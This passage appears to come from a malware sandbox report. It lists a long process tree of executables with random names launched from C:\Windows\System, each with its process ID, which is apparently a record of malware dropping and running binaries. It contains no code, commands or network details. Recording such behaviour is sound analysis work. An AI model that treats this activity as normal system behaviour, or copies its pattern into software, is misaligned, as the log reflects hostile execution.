- C:\Windows\System\dEtErgP.exe
  C:\Windows\System\dEtErgP.exe
  2⤵
  PID:12964
- C:\Windows\System\OSUPtWn.exe
  C:\Windows\System\OSUPtWn.exe
  2⤵
  PID:12980
- C:\Windows\System\RUnrdgp.exe
  C:\Windows\System\RUnrdgp.exe
  2⤵
  PID:12996
- C:\Windows\System\NWXODXd.exe
  C:\Windows\System\NWXODXd.exe
  2⤵
  PID:13012
- C:\Windows\System\eLEIGQq.exe
  C:\Windows\System\eLEIGQq.exe
  2⤵
  PID:13028
- C:\Windows\System\BzVTnJX.exe
  C:\Windows\System\BzVTnJX.exe
  2⤵
  PID:13048
- C:\Windows\System\RsViaEo.exe
  C:\Windows\System\RsViaEo.exe
  2⤵
  PID:13064
- C:\Windows\System\tMSowwO.exe
  C:\Windows\System\tMSowwO.exe
  2⤵
  PID:13080
- C:\Windows\System\AWBJxGm.exe
  C:\Windows\System\AWBJxGm.exe
  2⤵
  PID:13096
- C:\Windows\System\ZRyldTi.exe
  C:\Windows\System\ZRyldTi.exe
  2⤵
  PID:13120
- C:\Windows\System\cjhsTdQ.exe
  C:\Windows\System\cjhsTdQ.exe
  2⤵
  PID:13144
- C:\Windows\System\TGQdgED.exe
  C:\Windows\System\TGQdgED.exe
  2⤵
  PID:13164
- C:\Windows\System\YURZNBs.exe
  C:\Windows\System\YURZNBs.exe
  2⤵
  PID:13204
- C:\Windows\System\UIgrQpP.exe
  C:\Windows\System\UIgrQpP.exe
  2⤵
  PID:13224
- C:\Windows\System\NJTBKIh.exe
  C:\Windows\System\NJTBKIh.exe
  2⤵
  PID:13244
- C:\Windows\System\RWdnsGU.exe
  C:\Windows\System\RWdnsGU.exe
  2⤵
  PID:13260
- C:\Windows\System\ZimzgIo.exe
  C:\Windows\System\ZimzgIo.exe
  2⤵
  PID:13280
- C:\Windows\System\NKXSkXU.exe
  C:\Windows\System\NKXSkXU.exe
  2⤵
  PID:13296
- C:\Windows\System\pkMLJOQ.exe
  C:\Windows\System\pkMLJOQ.exe
  2⤵
  PID:12240
- C:\Windows\System\bLhLGJx.exe
  C:\Windows\System\bLhLGJx.exe
  2⤵
  PID:12272
- C:\Windows\System\UJpgoKA.exe
  C:\Windows\System\UJpgoKA.exe
  2⤵
  PID:10792
- C:\Windows\System\fYEWzdc.exe
  C:\Windows\System\fYEWzdc.exe
  2⤵
  PID:11160
- C:\Windows\System\PorAJos.exe
  C:\Windows\System\PorAJos.exe
  2⤵
  PID:10284
- C:\Windows\System\OwyeFUR.exe
  C:\Windows\System\OwyeFUR.exe
  2⤵
  PID:10656
- C:\Windows\System\rPHdeZg.exe
  C:\Windows\System\rPHdeZg.exe
  2⤵
  PID:11156
- C:\Windows\System\ESbMcdN.exe
  C:\Windows\System\ESbMcdN.exe
  2⤵
  PID:13136
- C:\Windows\System\RKZqPIM.exe
  C:\Windows\System\RKZqPIM.exe
  2⤵
  PID:13212
- C:\Windows\System\LXiajyc.exe
  C:\Windows\System\LXiajyc.exe
  2⤵
  PID:12720
- C:\Windows\System\ydZcOWd.exe
  C:\Windows\System\ydZcOWd.exe
  2⤵
  PID:12908
- C:\Windows\System\oUclYLG.exe
  C:\Windows\System\oUclYLG.exe
  2⤵
  PID:12992
- C:\Windows\System\EOUthiI.exe
  C:\Windows\System\EOUthiI.exe
  2⤵
  PID:13092
- C:\Windows\System\UmrFGnU.exe
  C:\Windows\System\UmrFGnU.exe
  2⤵
  PID:11368
- C:\Windows\System\VppbFww.exe
  C:\Windows\System\VppbFww.exe
  2⤵
  PID:13292
- C:\Windows\System\UdpwenH.exe
  C:\Windows\System\UdpwenH.exe
  2⤵
  PID:12092
- C:\Windows\System\FjjWaOA.exe
  C:\Windows\System\FjjWaOA.exe
  2⤵
  PID:12904
- C:\Windows\System\PMKVJnU.exe
  C:\Windows\System\PMKVJnU.exe
  2⤵
  PID:12960
- C:\Windows\System\hBDOBQg.exe
  C:\Windows\System\hBDOBQg.exe
  2⤵
  PID:13024
- C:\Windows\System\RcAupMm.exe
  C:\Windows\System\RcAupMm.exe
  2⤵
  PID:11380
- C:\Windows\System\vyUPtnO.exe
  C:\Windows\System\vyUPtnO.exe
  2⤵
  PID:12572
- C:\Windows\System\NNvDHsN.exe
  C:\Windows\System\NNvDHsN.exe
  2⤵
  PID:12208
- C:\Windows\System\NbkcXib.exe
  C:\Windows\System\NbkcXib.exe
  2⤵
  PID:9824
- C:\Windows\System\DuJeOVc.exe
  C:\Windows\System\DuJeOVc.exe
  2⤵
  PID:10592
- C:\Windows\System\JOAuedc.exe
  C:\Windows\System\JOAuedc.exe
  2⤵
  PID:2076
- C:\Windows\System\UFvpmLV.exe
  C:\Windows\System\UFvpmLV.exe
  2⤵
  PID:8808
- C:\Windows\System\UHhSLzo.exe
  C:\Windows\System\UHhSLzo.exe
  2⤵
  PID:10932
- C:\Windows\System\DNKSDzG.exe
  C:\Windows\System\DNKSDzG.exe
  2⤵
  PID:7204
- C:\Windows\System\nPDfpam.exe
  C:\Windows\System\nPDfpam.exe
  2⤵
  PID:2772
- C:\Windows\System\YlYRSik.exe
  C:\Windows\System\YlYRSik.exe
  2⤵
  PID:12364
- C:\Windows\System\SUZQsGd.exe
  C:\Windows\System\SUZQsGd.exe
  2⤵
  PID:12316
- C:\Windows\System\KPUvgBX.exe
  C:\Windows\System\KPUvgBX.exe
  2⤵
  PID:12852
- C:\Windows\System\TszxmNw.exe
  C:\Windows\System\TszxmNw.exe
  2⤵
  PID:12344
- C:\Windows\System\FRvtTcv.exe
  C:\Windows\System\FRvtTcv.exe
  2⤵
  PID:12972
- C:\Windows\System\gAFVtjU.exe
  C:\Windows\System\gAFVtjU.exe
  2⤵
  PID:320
- C:\Windows\System\BSMwWSy.exe
  C:\Windows\System\BSMwWSy.exe
  2⤵
  PID:12600
- C:\Windows\System\DjuqEFZ.exe
  C:\Windows\System\DjuqEFZ.exe
  2⤵
  PID:4528
- C:\Windows\System\NVGeSrM.exe
  C:\Windows\System\NVGeSrM.exe
  2⤵
  PID:2552
- C:\Windows\System\WEuLcPG.exe
  C:\Windows\System\WEuLcPG.exe
  2⤵
  PID:13176
- C:\Windows\System\qkkEPzf.exe
  C:\Windows\System\qkkEPzf.exe
  2⤵
  PID:12956
- C:\Windows\System\NgKaYpZ.exe
  C:\Windows\System\NgKaYpZ.exe
  2⤵
  PID:1428
- C:\Windows\System\RebXHQM.exe
  C:\Windows\System\RebXHQM.exe
  2⤵
  PID:1276
- C:\Windows\System\TSOFbql.exe
  C:\Windows\System\TSOFbql.exe
  2⤵
  PID:4712
- C:\Windows\System\LGftsvS.exe
  C:\Windows\System\LGftsvS.exe
  2⤵
  PID:10772
- C:\Windows\System\BuefEFO.exe
  C:\Windows\System\BuefEFO.exe
  2⤵
  PID:4948
- C:\Windows\System\YVxBzNt.exe
  C:\Windows\System\YVxBzNt.exe
  2⤵
  PID:13240
- C:\Windows\System\WZsFMKQ.exe
  C:\Windows\System\WZsFMKQ.exe
  2⤵
  PID:4064
- C:\Windows\System\tjHbFKL.exe
  C:\Windows\System\tjHbFKL.exe
  2⤵
  PID:4936
- C:\Windows\System\rjkNBdd.exe
  C:\Windows\System\rjkNBdd.exe
  2⤵
  PID:2884
- C:\Windows\System\vvzBzEm.exe
  C:\Windows\System\vvzBzEm.exe
  2⤵
  PID:1128
- C:\Windows\System\rRgqwlB.exe
  C:\Windows\System\rRgqwlB.exe
  2⤵
  PID:548
- C:\Windows\System\hCDvuir.exe
  C:\Windows\System\hCDvuir.exe
  2⤵
  PID:4652
- C:\Windows\System\IuVqvYq.exe
  C:\Windows\System\IuVqvYq.exe
  2⤵
  PID:4972
- C:\Windows\System\kPjhBHX.exe
  C:\Windows\System\kPjhBHX.exe
  2⤵
  PID:4588
- C:\Windows\System\dIKwZtq.exe
  C:\Windows\System\dIKwZtq.exe
  2⤵
  PID:11072
- C:\Windows\System\YgCmSKd.exe
  C:\Windows\System\YgCmSKd.exe
  2⤵
  PID:4136
- C:\Windows\System\DzBQIVA.exe
  C:\Windows\System\DzBQIVA.exe
  2⤵
  PID:1136
- C:\Windows\System\pPBYaBk.exe
  C:\Windows\System\pPBYaBk.exe
  2⤵
  PID:13324
- C:\Windows\System\ijvFwTg.exe
  C:\Windows\System\ijvFwTg.exe
  2⤵
  PID:13340
- C:\Windows\System\DpVTAEY.exe
  C:\Windows\System\DpVTAEY.exe
  2⤵
  PID:13364
- C:\Windows\System\OwQTgbO.exe
  C:\Windows\System\OwQTgbO.exe
  2⤵
  PID:13380
- C:\Windows\System\kUzikur.exe
  C:\Windows\System\kUzikur.exe
  2⤵
  PID:13396
- C:\Windows\System\AmnIAcj.exe
  C:\Windows\System\AmnIAcj.exe
  2⤵
  PID:13412
- C:\Windows\System\bGXjvdb.exe
  C:\Windows\System\bGXjvdb.exe
  2⤵
  PID:13504
- C:\Windows\System\ZkKoYNv.exe
  C:\Windows\System\ZkKoYNv.exe
  2⤵
  PID:13536
- C:\Windows\System\LlRQtdQ.exe
  C:\Windows\System\LlRQtdQ.exe
  2⤵
  PID:13584
- C:\Windows\System\aoTTrRO.exe
  C:\Windows\System\aoTTrRO.exe
  2⤵
  PID:13628
- C:\Windows\System\DJPaKPZ.exe
  C:\Windows\System\DJPaKPZ.exe
  2⤵
  PID:13716
- C:\Windows\System\VWPxJze.exe
  C:\Windows\System\VWPxJze.exe
  2⤵
  PID:13732
- C:\Windows\System\yohjwDN.exe
  C:\Windows\System\yohjwDN.exe
  2⤵
  PID:13808
- C:\Windows\System\RTAseCC.exe
  C:\Windows\System\RTAseCC.exe
  2⤵
  PID:13840
- C:\Windows\System\RgNunYp.exe
  C:\Windows\System\RgNunYp.exe
  2⤵
  PID:13856
- C:\Windows\System\QdRYNGx.exe
  C:\Windows\System\QdRYNGx.exe
  2⤵
  PID:13896
- C:\Windows\System\rpvgUdP.exe
  C:\Windows\System\rpvgUdP.exe
  2⤵
  PID:13916
- C:\Windows\System\SmNgJLB.exe
  C:\Windows\System\SmNgJLB.exe
  2⤵
  PID:13940
- C:\Windows\System\gyKJZYW.exe
  C:\Windows\System\gyKJZYW.exe
  2⤵
  PID:13964
- C:\Windows\System\XEycfuQ.exe
  C:\Windows\System\XEycfuQ.exe
  2⤵
  PID:13980
- C:\Windows\System\nQnZSkz.exe
  C:\Windows\System\nQnZSkz.exe
  2⤵
  PID:14000
- C:\Windows\System\CgYaeQd.exe
  C:\Windows\System\CgYaeQd.exe
  2⤵
  PID:14020
- C:\Windows\System\fhmwnKo.exe
  C:\Windows\System\fhmwnKo.exe
  2⤵
  PID:14036
- C:\Windows\System\QReUMvC.exe
  C:\Windows\System\QReUMvC.exe
  2⤵
  PID:14052
- C:\Windows\System\LABAbrR.exe
  C:\Windows\System\LABAbrR.exe
  2⤵
  PID:14068
- C:\Windows\System\nRpKgJO.exe
  C:\Windows\System\nRpKgJO.exe
  2⤵
  PID:14088
- C:\Windows\System\NGIzDgy.exe
  C:\Windows\System\NGIzDgy.exe
  2⤵
  PID:14120
- C:\Windows\System\CBCIJKr.exe
  C:\Windows\System\CBCIJKr.exe
  2⤵
  PID:14148
- C:\Windows\System\CBtfxzF.exe
  C:\Windows\System\CBtfxzF.exe
  2⤵
  PID:14164
- C:\Windows\System\AmOBccY.exe
  C:\Windows\System\AmOBccY.exe
  2⤵
  PID:14180
- C:\Windows\System\ySqIrpo.exe
  C:\Windows\System\ySqIrpo.exe
  2⤵
  PID:14204
- C:\Windows\System\KDuxres.exe
  C:\Windows\System\KDuxres.exe
  2⤵
  PID:14224
- C:\Windows\System\taflBsA.exe
  C:\Windows\System\taflBsA.exe
  2⤵
  PID:14252
- C:\Windows\System\pLRBQTH.exe
  C:\Windows\System\pLRBQTH.exe
  2⤵
  PID:14272
- C:\Windows\System\SWKilfH.exe
  C:\Windows\System\SWKilfH.exe
  2⤵
  PID:14288
- C:\Windows\System\yWlZTuw.exe
  C:\Windows\System\yWlZTuw.exe
  2⤵
  PID:14304
- C:\Windows\System\yTNhQol.exe
  C:\Windows\System\yTNhQol.exe
  2⤵
  PID:14320
- C:\Windows\System\GeMLMsY.exe
  C:\Windows\System\GeMLMsY.exe
  2⤵
  PID:13308
- C:\Windows\System\minsuKJ.exe
  C:\Windows\System\minsuKJ.exe
  2⤵
  PID:9372
- C:\Windows\System\kRQgYOW.exe
  C:\Windows\System\kRQgYOW.exe
  2⤵
  PID:12388
- C:\Windows\System\XajbdlM.exe
  C:\Windows\System\XajbdlM.exe
  2⤵
  PID:2208
- C:\Windows\System\SqiEkTR.exe
  C:\Windows\System\SqiEkTR.exe
  2⤵
  PID:4048
- C:\Windows\System\AdSUWIt.exe
  C:\Windows\System\AdSUWIt.exe
  2⤵
  PID:13464
- C:\Windows\System\BVtINHX.exe
  C:\Windows\System\BVtINHX.exe
  2⤵
  PID:1996
- C:\Windows\System\pxEJciG.exe
  C:\Windows\System\pxEJciG.exe
  2⤵
  PID:388
- C:\Windows\System\iIeuzUN.exe
  C:\Windows\System\iIeuzUN.exe
  2⤵
  PID:13408
- C:\Windows\System\OtQKsku.exe
  C:\Windows\System\OtQKsku.exe
  2⤵
  PID:13372
- C:\Windows\System\cyRYsaT.exe
  C:\Windows\System\cyRYsaT.exe
  2⤵
  PID:13568
- C:\Windows\System\JZFKZDS.exe
  C:\Windows\System\JZFKZDS.exe
  2⤵
  PID:3280
- C:\Windows\System\QOGpMFT.exe
  C:\Windows\System\QOGpMFT.exe
  2⤵
  PID:2672
- C:\Windows\System\aeZMdKn.exe
  C:\Windows\System\aeZMdKn.exe
  2⤵
  PID:408
- C:\Windows\System\USkiAOE.exe
  C:\Windows\System\USkiAOE.exe
  2⤵
  PID:3844
- C:\Windows\System\PHcBKrk.exe
  C:\Windows\System\PHcBKrk.exe
  2⤵
  PID:13544
- C:\Windows\System\NFarKex.exe
  C:\Windows\System\NFarKex.exe
  2⤵
  PID:13652
- C:\Windows\System\OqXuOOU.exe
  C:\Windows\System\OqXuOOU.exe
  2⤵
  PID:6700
- C:\Windows\System\ufTfxmU.exe
  C:\Windows\System\ufTfxmU.exe
  2⤵
  PID:13592
- C:\Windows\System\rHFEDMg.exe
  C:\Windows\System\rHFEDMg.exe
  2⤵
  PID:13548
- C:\Windows\System\TcGANMw.exe
  C:\Windows\System\TcGANMw.exe
  2⤵
  PID:13512
- C:\Windows\System\uZmxpeZ.exe
  C:\Windows\System\uZmxpeZ.exe
  2⤵
  PID:13484
- C:\Windows\System\tqLbArm.exe
  C:\Windows\System\tqLbArm.exe
  2⤵
  PID:13404
- C:\Windows\System\nXWfFeR.exe
  C:\Windows\System\nXWfFeR.exe
  2⤵
  PID:4472
- C:\Windows\System\znfxBlh.exe
  C:\Windows\System\znfxBlh.exe
  2⤵
  PID:4068
- C:\Windows\System\JKzfzTc.exe
  C:\Windows\System\JKzfzTc.exe
  2⤵
  PID:6824
- C:\Windows\System\HJUEPnb.exe
  C:\Windows\System\HJUEPnb.exe
  2⤵
  PID:1268
- C:\Windows\System\qdAsodw.exe
  C:\Windows\System\qdAsodw.exe
  2⤵
  PID:4488
- C:\Windows\System\zaobCbs.exe
  C:\Windows\System\zaobCbs.exe
  2⤵
  PID:12800
- C:\Windows\System\gWNnyWw.exe
  C:\Windows\System\gWNnyWw.exe
  2⤵
  PID:2140
- C:\Windows\System\lJwDRDN.exe
  C:\Windows\System\lJwDRDN.exe
  2⤵
  PID:12296
- C:\Windows\System\lSirFEs.exe
  C:\Windows\System\lSirFEs.exe
  2⤵
  PID:13668
- C:\Windows\System\cZKHxnN.exe
  C:\Windows\System\cZKHxnN.exe
  2⤵
  PID:13752
- C:\Windows\System\dKVzpgT.exe
  C:\Windows\System\dKVzpgT.exe
  2⤵
  PID:13832
- C:\Windows\System\XdlNEsZ.exe
  C:\Windows\System\XdlNEsZ.exe
  2⤵
  PID:12148
- C:\Windows\System\tfsHOUK.exe
  C:\Windows\System\tfsHOUK.exe
  2⤵
  PID:3576
- C:\Windows\System\sjxcaiB.exe
  C:\Windows\System\sjxcaiB.exe
  2⤵
  PID:4844
- C:\Windows\System\bSRXRPW.exe
  C:\Windows\System\bSRXRPW.exe
  2⤵
  PID:4608
- C:\Windows\System\eCaKtZc.exe
  C:\Windows\System\eCaKtZc.exe
  2⤵
  PID:2496
- C:\Windows\System\siRLVui.exe
  C:\Windows\System\siRLVui.exe
  2⤵
  PID:14244
- C:\Windows\System\GtpsDmW.exe
  C:\Windows\System\GtpsDmW.exe
  2⤵
  PID:13880
- C:\Windows\System\oKYpVXh.exe
  C:\Windows\System\oKYpVXh.exe
  2⤵
  PID:13888
- C:\Windows\System\uiIzpjK.exe
  C:\Windows\System\uiIzpjK.exe
  2⤵
  PID:14296
- C:\Windows\System\TetKCaH.exe
  C:\Windows\System\TetKCaH.exe
  2⤵
  PID:824
- C:\Windows\System\NSCsDhO.exe
  C:\Windows\System\NSCsDhO.exe
  2⤵
  PID:13932
- C:\Windows\System\bxbfSfn.exe
  C:\Windows\System\bxbfSfn.exe
  2⤵
  PID:13956
- C:\Windows\System\yYNjZHo.exe
  C:\Windows\System\yYNjZHo.exe
  2⤵
  PID:11452
- C:\Windows\System\saLIsah.exe
  C:\Windows\System\saLIsah.exe
  2⤵
  PID:624
- C:\Windows\System\PbWdsBM.exe
  C:\Windows\System\PbWdsBM.exe
  2⤵
  PID:5048
- C:\Windows\System\ePEVCCH.exe
  C:\Windows\System\ePEVCCH.exe
  2⤵
  PID:14032
- C:\Windows\System\nQZvMgD.exe
  C:\Windows\System\nQZvMgD.exe
  2⤵
  PID:4728
- C:\Windows\System\gVFbQgH.exe
  C:\Windows\System\gVFbQgH.exe
  2⤵
  PID:3304
- C:\Windows\System\yRPzsXh.exe
  C:\Windows\System\yRPzsXh.exe
  2⤵
  PID:1616
- C:\Windows\System\skpTsrS.exe
  C:\Windows\System\skpTsrS.exe
  2⤵
  PID:13316
- C:\Windows\System\xAlxoZn.exe
  C:\Windows\System\xAlxoZn.exe
  2⤵
  PID:13528
- C:\Windows\System\zQSgDJC.exe
  C:\Windows\System\zQSgDJC.exe
  2⤵
  PID:13424
- C:\Windows\System\gwicbPh.exe
  C:\Windows\System\gwicbPh.exe
  2⤵
  PID:3492
- C:\Windows\System\HqTkbLC.exe
  C:\Windows\System\HqTkbLC.exe
  2⤵
  PID:14216
- C:\Windows\System\akMIdXw.exe
  C:\Windows\System\akMIdXw.exe
  2⤵
  PID:13928
- C:\Windows\System\cycPGUc.exe
  C:\Windows\System\cycPGUc.exe
  2⤵
  PID:2132
- C:\Windows\System\riIVLqi.exe
  C:\Windows\System\riIVLqi.exe
  2⤵
  PID:2852
- C:\Windows\System\QGPnkXS.exe
  C:\Windows\System\QGPnkXS.exe
  2⤵
  PID:13320
- C:\Windows\System\cTSrWrx.exe
  C:\Windows\System\cTSrWrx.exe
  2⤵
  PID:7044
- C:\Windows\System\MJEesTX.exe
  C:\Windows\System\MJEesTX.exe
  2⤵
  PID:13460
- C:\Windows\System\vImQJPb.exe
  C:\Windows\System\vImQJPb.exe
  2⤵
  PID:4080
- C:\Windows\System\zyygjiA.exe
  C:\Windows\System\zyygjiA.exe
  2⤵
  PID:5188
- C:\Windows\System\jxPTXQW.exe
  C:\Windows\System\jxPTXQW.exe
  2⤵
  PID:5224
- C:\Windows\System\FtDQBvQ.exe
  C:\Windows\System\FtDQBvQ.exe
  2⤵
  PID:6704
- C:\Windows\System\oDlbRMh.exe
  C:\Windows\System\oDlbRMh.exe
  2⤵
  PID:4720
- C:\Windows\System\NswNkem.exe
  C:\Windows\System\NswNkem.exe
  2⤵
  PID:13576
- C:\Windows\System\OFaViwF.exe
  C:\Windows\System\OFaViwF.exe
  2⤵
  PID:6944
- C:\Windows\System\CAXQsuo.exe
  C:\Windows\System\CAXQsuo.exe
  2⤵
  PID:13532
- C:\Windows\System\nIdCeyd.exe
  C:\Windows\System\nIdCeyd.exe
  2⤵
  PID:11820
- C:\Windows\System\CNKkFSn.exe
  C:\Windows\System\CNKkFSn.exe
  2⤵
  PID:6720
- C:\Windows\System\QampBsw.exe
  C:\Windows\System\QampBsw.exe
  2⤵
  PID:11432
- C:\Windows\System\KQVHNsF.exe
  C:\Windows\System\KQVHNsF.exe
  2⤵
  PID:12536
- C:\Windows\System\jVdwyDO.exe
  C:\Windows\System\jVdwyDO.exe
  2⤵
  PID:2124
- C:\Windows\System\YBCRhHo.exe
  C:\Windows\System\YBCRhHo.exe
  2⤵
  PID:12472
- C:\Windows\System\myaznnG.exe
  C:\Windows\System\myaznnG.exe
  2⤵
  PID:10852
- C:\Windows\System\XDiunrr.exe
  C:\Windows\System\XDiunrr.exe
  2⤵
  PID:764
- C:\Windows\System\CGyXpcs.exe
  C:\Windows\System\CGyXpcs.exe
  2⤵
  PID:5312
- C:\Windows\System\OuUNXHS.exe
  C:\Windows\System\OuUNXHS.exe
  2⤵
  PID:5388
- C:\Windows\System\glkjpNW.exe
  C:\Windows\System\glkjpNW.exe
  2⤵
  PID:5512
- C:\Windows\System\uDwZxWF.exe
  C:\Windows\System\uDwZxWF.exe
  2⤵
  PID:13748
- C:\Windows\System\ZwUTOyt.exe
  C:\Windows\System\ZwUTOyt.exe
  2⤵
  PID:5612
- C:\Windows\System\UJlKpgK.exe
  C:\Windows\System\UJlKpgK.exe
  2⤵
  PID:5692
- C:\Windows\System\cmASziJ.exe
  C:\Windows\System\cmASziJ.exe
  2⤵
  PID:13972
- C:\Windows\System\QDaZvBo.exe
  C:\Windows\System\QDaZvBo.exe
  2⤵
  PID:4420
- C:\Windows\System\RQhuNnB.exe
  C:\Windows\System\RQhuNnB.exe
  2⤵
  PID:5852
- C:\Windows\System\OpxyoSk.exe
  C:\Windows\System\OpxyoSk.exe
  2⤵
  PID:5740
- C:\Windows\System\baCgNYc.exe
  C:\Windows\System\baCgNYc.exe
  2⤵
  PID:13788
- C:\Windows\System\efDboJe.exe
  C:\Windows\System\efDboJe.exe
  2⤵
  PID:1404
- C:\Windows\System\lvJqrNO.exe
  C:\Windows\System\lvJqrNO.exe
  2⤵
  PID:5804
- C:\Windows\System\sYPREpz.exe
  C:\Windows\System\sYPREpz.exe
  2⤵
  PID:5888
- C:\Windows\System\CaUnSDQ.exe
  C:\Windows\System\CaUnSDQ.exe
  2⤵
  PID:14080
- C:\Windows\System\qBwNuVE.exe
  C:\Windows\System\qBwNuVE.exe
  2⤵
  PID:6884
- C:\Windows\System\ImRTJAw.exe
  C:\Windows\System\ImRTJAw.exe
  2⤵
  PID:6960
- C:\Windows\System\iyYkQEL.exe
  C:\Windows\System\iyYkQEL.exe
  2⤵
  PID:14268
- C:\Windows\System\SpLXlDx.exe
  C:\Windows\System\SpLXlDx.exe
  2⤵
  PID:14332
- C:\Windows\System\PJueffJ.exe
  C:\Windows\System\PJueffJ.exe
  2⤵
  PID:956
- C:\Windows\System\ZnlDLrv.exe
  C:\Windows\System\ZnlDLrv.exe
  2⤵
  PID:6024
- C:\Windows\System\XCWekvh.exe
  C:\Windows\System\XCWekvh.exe
  2⤵
  PID:6072
- C:\Windows\System\cXWULAm.exe
  C:\Windows\System\cXWULAm.exe
  2⤵
  PID:6092
- C:\Windows\System\xXDdzVg.exe
  C:\Windows\System\xXDdzVg.exe
  2⤵
  PID:14328
- C:\Windows\System\zRyKjex.exe
  C:\Windows\System\zRyKjex.exe
  2⤵
  PID:13996
- C:\Windows\System\LhDrtdH.exe
  C:\Windows\System\LhDrtdH.exe
  2⤵
  PID:6220
- C:\Windows\System\lzHNSbF.exe
  C:\Windows\System\lzHNSbF.exe
  2⤵
  PID:13988
- C:\Windows\System\drVywPD.exe
  C:\Windows\System\drVywPD.exe
  2⤵
  PID:4524
- C:\Windows\System\ZfspCGR.exe
  C:\Windows\System\ZfspCGR.exe
  2⤵
  PID:13572
- C:\Windows\System\SjlzdUq.exe
  C:\Windows\System\SjlzdUq.exe
  2⤵
  PID:5168
- C:\Windows\System\UbUEXYY.exe
  C:\Windows\System\UbUEXYY.exe
  2⤵
  PID:14132
- C:\Windows\System\TVLFgir.exe
  C:\Windows\System\TVLFgir.exe
  2⤵
  PID:3676
- C:\Windows\System\CKyNOXh.exe
  C:\Windows\System\CKyNOXh.exe
  2⤵
  PID:2440
- C:\Windows\System\TkdPNGt.exe
  C:\Windows\System\TkdPNGt.exe
  2⤵
  PID:13356
- C:\Windows\System\nYuTuCS.exe
  C:\Windows\System\nYuTuCS.exe
  2⤵
  PID:216
- C:\Windows\System\LBnaDjz.exe
  C:\Windows\System\LBnaDjz.exe
  2⤵
  PID:1456
- C:\Windows\System\UknPdtQ.exe
  C:\Windows\System\UknPdtQ.exe
  2⤵
  PID:3656
- C:\Windows\System\RtaBcSX.exe
  C:\Windows\System\RtaBcSX.exe
  2⤵
  PID:14316
- C:\Windows\System\JVWtxba.exe
  C:\Windows\System\JVWtxba.exe
  2⤵
  PID:3700
- C:\Windows\System\OlVHbKG.exe
  C:\Windows\System\OlVHbKG.exe
  2⤵
  PID:5252
- C:\Windows\System\yJDqEWx.exe
  C:\Windows\System\yJDqEWx.exe
  2⤵
  PID:5488
- C:\Windows\System\msDjQXU.exe
  C:\Windows\System\msDjQXU.exe
  2⤵
  PID:4500
- C:\Windows\System\TOoRMKU.exe
  C:\Windows\System\TOoRMKU.exe
  2⤵
  PID:13376
- C:\Windows\System\jTUptTU.exe
  C:\Windows\System\jTUptTU.exe
  2⤵
  PID:5564
- C:\Windows\System\mFhirPI.exe
  C:\Windows\System\mFhirPI.exe
  2⤵
  PID:5208
- C:\Windows\System\WNuMcJX.exe
  C:\Windows\System\WNuMcJX.exe
  2⤵
  PID:13472
- C:\Windows\System\QjzvLnT.exe
  C:\Windows\System\QjzvLnT.exe
  2⤵
  PID:5448
- C:\Windows\System\PXvnJwt.exe
  C:\Windows\System\PXvnJwt.exe
  2⤵
  PID:3272
- C:\Windows\System\dXJTYDU.exe
  C:\Windows\System\dXJTYDU.exe
  2⤵
  PID:5732
- C:\Windows\System\FPczQdT.exe
  C:\Windows\System\FPczQdT.exe
  2⤵
  PID:1248
- C:\Windows\System\Bcqkzjf.exe
  C:\Windows\System\Bcqkzjf.exe
  2⤵
  PID:13596
- C:\Windows\System\fYXMQcT.exe
  C:\Windows\System\fYXMQcT.exe
  2⤵
  PID:5848
- C:\Windows\System\snquWNi.exe
  C:\Windows\System\snquWNi.exe
  2⤵
  PID:13516
- C:\Windows\System\ZUrVcfk.exe
  C:\Windows\System\ZUrVcfk.exe
  2⤵
  PID:8772
- C:\Windows\System\FwqtCqD.exe
  C:\Windows\System\FwqtCqD.exe
  2⤵
  PID:5624
- C:\Windows\System\rnFUoni.exe
  C:\Windows\System\rnFUoni.exe
  2⤵
  PID:5636
- C:\Windows\System\oUMdbTj.exe
  C:\Windows\System\oUMdbTj.exe
  2⤵
  PID:9712
- C:\Windows\System\cIvWtdn.exe
  C:\Windows\System\cIvWtdn.exe
  2⤵
  PID:4224
- C:\Windows\System\LzkTflG.exe
  C:\Windows\System\LzkTflG.exe
  2⤵
  PID:6096
- C:\Windows\System\CvmiilK.exe
  C:\Windows\System\CvmiilK.exe
  2⤵
  PID:3152
- C:\Windows\System\DIbXMOt.exe
  C:\Windows\System\DIbXMOt.exe
  2⤵
  PID:6140
- C:\Windows\System\BJMkesk.exe
  C:\Windows\System\BJMkesk.exe
  2⤵
  PID:14096
- C:\Windows\System\OxjUNEX.exe
  C:\Windows\System\OxjUNEX.exe
  2⤵
  PID:14260
- C:\Windows\System\IDEvbfn.exe
  C:\Windows\System\IDEvbfn.exe
  2⤵
  PID:9476
- C:\Windows\System\HoqOyVi.exe
  C:\Windows\System\HoqOyVi.exe
  2⤵
  PID:11300
- C:\Windows\System\oOVlkyV.exe
  C:\Windows\System\oOVlkyV.exe
  2⤵
  PID:13728
- C:\Windows\System\mIFqFeT.exe
  C:\Windows\System\mIFqFeT.exe
  2⤵
  PID:4372
- C:\Windows\System\wEdZJTN.exe
  C:\Windows\System\wEdZJTN.exe
  2⤵
  PID:13744
- C:\Windows\System\tGxzIJa.exe
  C:\Windows\System\tGxzIJa.exe
  2⤵
  PID:9840
- C:\Windows\System\BnwJKlZ.exe
  C:\Windows\System\BnwJKlZ.exe
  2⤵
  PID:9744
- C:\Windows\System\oxdsJTl.exe
  C:\Windows\System\oxdsJTl.exe
  2⤵
  PID:9920
- C:\Windows\System\cusCwYD.exe
  C:\Windows\System\cusCwYD.exe
  2⤵
  PID:9904
- C:\Windows\System\ryEIAMB.exe
  C:\Windows\System\ryEIAMB.exe
  2⤵
  PID:13908
- C:\Windows\System\QzFNeuV.exe
  C:\Windows\System\QzFNeuV.exe
  2⤵
  PID:5936
- C:\Windows\System\UNTiJJv.exe
  C:\Windows\System\UNTiJJv.exe
  2⤵
  PID:3920
- C:\Windows\System\vHrtWIj.exe
  C:\Windows\System\vHrtWIj.exe
  2⤵
  PID:13608
- C:\Windows\System\NbuRNhs.exe
  C:\Windows\System\NbuRNhs.exe
  2⤵
  PID:836
- C:\Windows\System\bqSFwfJ.exe
  C:\Windows\System\bqSFwfJ.exe
  2⤵
  PID:2512
- C:\Windows\System\tpmPbLI.exe
  C:\Windows\System\tpmPbLI.exe
  2⤵
  PID:14196
- C:\Windows\System\IvRuPbs.exe
  C:\Windows\System\IvRuPbs.exe
  2⤵
  PID:4456
- C:\Windows\System\tgwYOwS.exe
  C:\Windows\System\tgwYOwS.exe
  2⤵
  PID:12188
- C:\Windows\System\qxJtGdm.exe
  C:\Windows\System\qxJtGdm.exe
  2⤵
  PID:1536
- C:\Windows\System\mOueAln.exe
  C:\Windows\System\mOueAln.exe
  2⤵
  PID:2696
- C:\Windows\System\EdpHXez.exe
  C:\Windows\System\EdpHXez.exe
  2⤵
  PID:772
